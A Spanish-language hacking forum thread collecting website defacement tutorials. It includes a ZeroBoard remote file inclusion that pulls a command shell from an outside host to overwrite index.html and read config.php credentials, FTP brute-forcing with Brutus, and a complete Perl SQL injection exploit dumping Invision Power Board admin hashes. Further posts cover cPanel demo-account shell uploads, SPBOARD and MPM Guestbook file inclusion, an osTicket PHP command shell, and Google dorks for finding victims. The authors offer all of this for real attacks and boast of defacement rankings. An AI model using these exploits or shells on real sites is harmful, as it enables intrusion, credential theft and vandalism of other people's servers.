include $dir."/write.php";
***********************************


Por lo que nuestro deface lo haremos de la siguiente manera:



    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °
http://juotte.com/bbs/include
/write.php?dir=http://mx.geocities.com/razorkron/cmd.txt?&cmd=uname -a;pwd;id

    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °

Y vemos que nos sale lo siguiente:


    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °
Linux www.somedomain.com 2.6.9-1.11_FC2 #1 Sun Jan 2 15:49:30 EST 2005 i686
i686 i386 GNU/Linux
/home/juotte/www/bbs/include
uid=99(nobody) gid=99(nobody) groups=99(nobody)
    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °

El cual nos indica: servidor; directorio actual y usuario Smiley


Sin embargo vemos que esta vez nos tenemos permisos de escritura Sad


Sin embargo si los TUVIERAMOS podriamos hacer el deface de la siguiente mane

ra:


    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °
http://juotte.com/bbs/include
/write.php?dir=http://mx.geocities.com/razorkron/cmd.txt?&cmd=cd /home/juotte/www;echo Status-x was Here >index.html

    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °    °


Y nuestro deface se veria en la pagina principal Smiley espero que les sirva de

algo y que les ayude a subir sus defacements y pa que me alcanzen en el Top

de Zone-H Smiley


############################################################################

sh-2.05b$ ./ Tips de Deface

############################################################################


Espero que las personitas que esten leyendo este tuto se queden hasta esta

parte, la verdad es que este Bug ya lo he explorado bastante sin embargo

este fallo lo encontre mientras exploraba las configuraciones, etcetera

aun hay infinidad de webs vulnerables, bien esta vez el tip de deface

sera el siguiente:


Zeroboard como deben de suponer usa bases de datos para poder funcionar por lo

que siempre habra un usuario y un password:


Sin embargo ZeroBoard usa un config.php el cual contiene el user y password

de la base de datos pero posiblemente tambien el del FTP, en los sitios

que probe siempre me dejo loguearme al FTP Smiley y lo mejor de todo es que

al ser este un error del config descubierto por mi pues ha resultado bastan

te util a la hora de hacer el deface ya que solo el crew int3rc3pt0r tiene

conocimiento de el Wink


Para localizar el config.php lo haremos de la siguiente manera:


    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨
http://localhost.com/zboard/include/
write.php?dir=http://mx.geocities.com/razorkron/cmd.txt?&cmd=cd%20..;cat%20config.php

    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨    ¨

Y en el caso de la web de ejemplo nos saldra algo asi:


*************************************
localhost
juotte <--------------- user
juotte7034 <--------------- password
juotte
?>
*************************************



Y listo tenemos el user y pass del FTP


Disculpen si la web de ejemplo ya no agarra el pass del FTP pero es que ya fue

atacada por mi con anterioridad sin embargo no pierdan la esperanza generalmente

algunos .snu.kr o ac.kr NO tienen FTP por lo que no podran usar este tip

sin embargo sitios .kr .org .com .net si lo tienen y podran aplicarlo Wink



############################################################################

sh-2.05b$ ./ Despedida

############################################################################


Un tutorial mas para la web DefacersMexico.Org, al parecer ya son varias las


webs que estan publicando mis tutoriales:


Tbc-Labz.Org

MbyteSecurity.Org

NeoSecurityTeam.Net


A ellos gracias por publicar mis tutoriales y por favor recomienden el sitio Wink

y un saludo para mi novia Mariana que espero algun dia entienda que yo la quiero

muchisimo aunque algunas veces no sepa como demostrarselo Sad


Saludos Wink


############################################################################

sh-2.05b$ ./ exit

Copyright 2005 Defacers Mexico - No modificar sin permiso de su autor


Si publicas este texto en tu sitio por favor no lo modifiques Wink

############################################################################



Cracking FTP
 
Para crackear un sitio ftp vamos a necesitar:
Brutus Ae
Ms-Dos
Mucha paciencia

Este método puede resultar lento, pero es muy eficaz, puede tardar varias horas, incluso días en conseguir la contraseña del administrador, así que es lento, pero seguro Lo primero que vamos a hacer es abrir nuestro Ms-dos vamos a emplear 2 simples comandos, el primero:


c:\ ping www.victima.com (con esto logramos obtener el IP del server)
ftp 127.0.0.1(ponemos el IP que hayamos conseguido con el ping)
Verificamos que el server esta activo iniciando sesión de la siguiente manera
ftp\user:guest
ftp\pass:anonymous


Aquí podemos obtener 2 respuestas, puede ser que nos deje entrar como invitados, o nos diga que no esta permitido el login anónimo, de cualquiera de las 2 formas ya sabemos que el server esta activo. Ahora viene lo bueno vamos a configurar el brutus de la siguiente manera:

 

En el TARGET pones: ftp:victima.com

En el TYPE pones: FTP

En el PORT pones: 21

Connections: 34

TimeOut: 10

En el USERID pones: victima

En el PASSFILE pones: Examinas un archivo llamado WORDS.TXT

 

Eso es todo. Lo demás es "esperar"...






En línea
sdrako
Visitante
« Respuesta #8 : 26 de Enero de 2006, 12:35:31 »

Defaced Foros Invision 2.0 - 2.2
 
Invision Power Board V2.0.0 - 2.0.2 SQL Inyection

Este es un xploit para los populares foros invision version v2.0.0 al 2.0.2, el xploit esta escrito en perl


Código:

 

----------COMIENZO----------

 

#!/usr/bin/perl
use IO::Socket;

## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee 3b1f78b5679b3
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee 3b1f78b5679b3
## [>] PREFIX:
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
##
  • CONNECTED
## [~] SENDING QUERY...
##
  • DONE!
##
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee 3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee 3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
##
  • CONNECTED
## [~] SENDING QUERY...
##
  • DONE!
##
## --[ REPORT ]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
## ------------------------------------------------------------------------------------------------
## Now you need edit cookie and REPLACE new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Huh? Huh? ? HuhHuhHuhHuh HuhHuhHuh? HuhHuhHuh?:
## HuhHuh?? pass_hash Huh ?? HuhHuhHuhHuh? HuhHuh Huh??!!! ? HuhHuhHuh?? HuhHuh??
## ?? HuhHuh ? HuhHuh? HuhHuh?? Huh?? Huh?? ?? Huh?? Huh Huh?? HuhHuh Huh
## Huh?? HuhHuh. member_id Huh Huh?? HuhHuhHuh?? HuhHuh?? ?? HuhHuh. HuhHuh? ??
## Huh?? HuhHuh?? HuhHuhHuhHuh pass_hash =) HuhHuh HuhHuhHuhHuhHuh?? ?? HuhHuh ?
## HuhHuh?? pass_hash ? member_id ? Huh?? cookie ?? Huh? ?? HuhHuh??
## HuhHuh? HuhHuh HuhHuh.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


if (@ARGV < 5)
{
print "-------------------------------------------------------------------------\r\n";
print " Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "usage:\r\n";
print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]\r\n\r\n";
print "SERVER - server where IPB installed\r\n";
print "/DIR/ - IPB directory or / for no directory\r\n";
print "FORUM_NUM - number of existing forum\r\n";
print "TOPIC_NUM - number of existing topic\r\n";
print "SID - your session id\r\n";
print "[TABLE_PREFIX] - table prefix in database\r\n";
print "[USER_ID] - user id for exploiting\r\n\r\n";
print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d7 21c207f81784e ibf_\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

if (@ARGV < 6) { $get_table = 1; }

$server = $ARGV[0];
$dir = $ARGV[1];
$fnum = $ARGV[2];
$tnum = $ARGV[3];
$sid = $ARGV[4];
$prefix = $ARGV[5];
$id = $ARGV[6];

print "-----------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] FORUM: $fnum\r\n";
print "[>] TOPIC: $tnum\r\n";
print "[>] SID: $sid\r\n";
print "[>] PREFIX: $prefix\r\n";
print "[>] ID: $id\r\n";
print "-------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path = $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if ($get_table == 1)
{
$path .= "&qpid=r57"
}
else
{
$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),
name,char(58),
member_login_key),1,1,1,1,1,1,1,1,1%20from%20";
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20")Sad"%20");
$path .= "/*";
}
print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
PeerPort => "80") || die "[-]
CONNECTION FAILED";

print "
  • CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "
  • DONE!\r\n\r\n";

$suc =0;

if ($get_table == 1)
{
while ($answer = <$socket>)
{
if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n";
$suc = 1; }
}
if (!$suc) { print "Exploit failed\r\n"; }
exit();
}

print "--[ REPORT ]---------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
if ($answer =~ /^([^:]*)Sad[^:]*)Sad[a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2]
PASS_HASH: [$3]\r\n"; $suc = 1; }
}
print "------------------------------------------------------------------------------------------------\r\n";
if ($suc == 1) { print "Now you need edit cookie and REPLACE new pass_hash and
member_id values.\r\n";
exit(); }
else { print "Exploit failed\r\n"; }

 

----------FIN----------
 


En línea
sdrako
Visitante
« Respuesta #9 : 03 de Marzo de 2006, 02:13:02 »

Deface con demo de cpanel

Este metodo es muy efectivo para atacar hostings con cpanel rápidamente
Buscas algun servicio de hosting que ofrezca un demo de c-panel. Por lo general estas cuentas demos vienen con su espacio web y su ftp.

EJEMPLO:

El demo del cpanel de http://www.XXXXXX.org es:

User: demo
Pass: demo

El login que proporciona el hosting para entrar al cpanel, también puede ser usado para entrar por ftp. Como veran si entro al ftp, sería:

http://ftp://demo:demo@www.XXXXXXXX.org

Subo una shell en php o en cgi y luego la ejecuto en:

http://ipdelservidor/~demo/shell.php
http://ipdelservidor/~demo/cgi-bin/shell.cgi

Y que más, ver si podemos ejecutar un exploit local al kernel de linux o revisar los sitios alojados.

Autor: bad-x-sql-root



Remote file inclusion en SPBOARD.     


Este bug afecta la versión 4.0 del cgi del script SPBOARD.
La vulnerabilidad nos permite la ejecucion remota de comandos, con lo cual podríamos obtener una shell en el sistema afectado.
El bug se encuentra en la variable "file" que abre archivos con su extensión directamente en la URL, sin filtrar ni comprobar su procedencia.
Veamos un ejemplo de una URL de SPBOARD:

board.cgi?id=bbs&number=88&action=down&file=cceys2004.html

Vemos claramente la posibilidad de sustituir el nombre de "file", en este caso cceys2004.htm, por la URL de una shell. La URL quedaría entonces así:

board.cgi?id=bbs&number=88&action=down&file=http://web.com/shell.gif?cmd=ls

Podemos ejecutar comandos en el host. Eso nos permite hacer muchas cosas, entre ellas defacear la web, rootear el servidor, etc.

Autor: NaOnaK



Deface con Osticket.     

 
El fallo radica en que el cpanel le agrega por defecto el modo 'listening' a unos directorios del osticket por lo tanto nos muestra la ruta de archivos que podrían ser comprometedores.

La solución es deshabilitar el upload de archivos al servidor.

Explotación del Bug:

Primero que nada buscaremos sitios que usen el OSticket:

http://www.victima.com/osticket/

Crearemos un nuevo ticket y subiremos un archivo al servidor, cuando enviemos el ticket de ser vulnerable podremos ver el archivo en el servidor.
Ahora bien que tal si subimos un archivo php que contenga lo siguiente:

Nombre: cmd.php

Contenido:

<?PHP
echo "<form action = ''>
<input type = 'text' name = 'cmd' value = '$cmd' size = '75'><BR>";
if (!$cmd)die;
system($cmd);
?>

Ahora si podemos subir el archivo y lo podemos ejecutar..listo! Podremos ejecutar comandos en el servidor con tan solo abrir el archivo hehehe...
Pero aun hay mas por ejemplo en el formulario de envio hay un limite para el tamaño de los archivos pero tiene el valor 'hidden' entonces uno de los usuarios en este caso nosotros podremos modificar este valor y enviar cualquier archivo de cualquier tamaño provocando con esto el consumo de ancho de banda y en consecuencia la caida del servidor Ataque DoS y de Strings Junto jejejeje pero aun hay mas...desfortunadam ente lo peor.
Lo malo es que 2 de cada 3 sitios de Osticket tienen desactivado el modo listening en los directorios, aunque claro para nosotros no hay nada imposible asi que he aqui una pequeña explicacion:

Cuando un archivo es cargado al servidor es renombrado ######_nombredelarchivo, donde # es el numero de ticket que le asigna el osticket.
Y algo más: no hay restriccion de IP, así que si subimos un archivo mas de 100 veces provocaremos que nuestro archivo sea aceptado :O, así que llegamos a la conclusión que de la mayoría de los sitios son "hackeables" por decirlo de una manera, pero despues de largos intentos.

La siguiente URL contiene la mayoria de los sitios que usan OSticket:

http://www.google.com/./search?q=%22Main%22+%22Help%22+%22Support+Ticket+System%22+php+attachment&hl=en&lr=&ie=UTF-8&start=10&sa=N

Autor: Status-x

Deface con MPM Guestbook Pro

MPM Guestbook Pro es un libro de visitas programado en php.
Existe un bug en su versión 1.05 y menores que te permite hacer remote file inclusion en el archivo top.php.

Un ejemplo de explotación sería:

http://www.web.com/top.php?header=[shell]

Sustituimos [shell] por una shell que tengamos alojada en algun host. Recuerda que esta no puede tener la extensión .php, así que renombra tu shell a .dat, .txt, .gif, etc.

Para buscar objetivos vulnerables vamos a nuestro buscador favorito, es decir, Google.

http://www.google.es

Buscamos:

"MPM Guestbook Pro 1.05"

y damos clic a alguna de las webs que lo usan.
Ahora metemos la url vulnerable con nuestra shell e intentamos defacear, rootear, etc.

Autor: NaOnaK
« Última modificación: 09 de Agosto de 2007, 05:23:20 por aldebaran_taurus » En línea
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión
Powered by SMF 1.1.11 | SMF © 2006-2009, Simple Machines LLC hacker descargas gratis
Ranking-Hits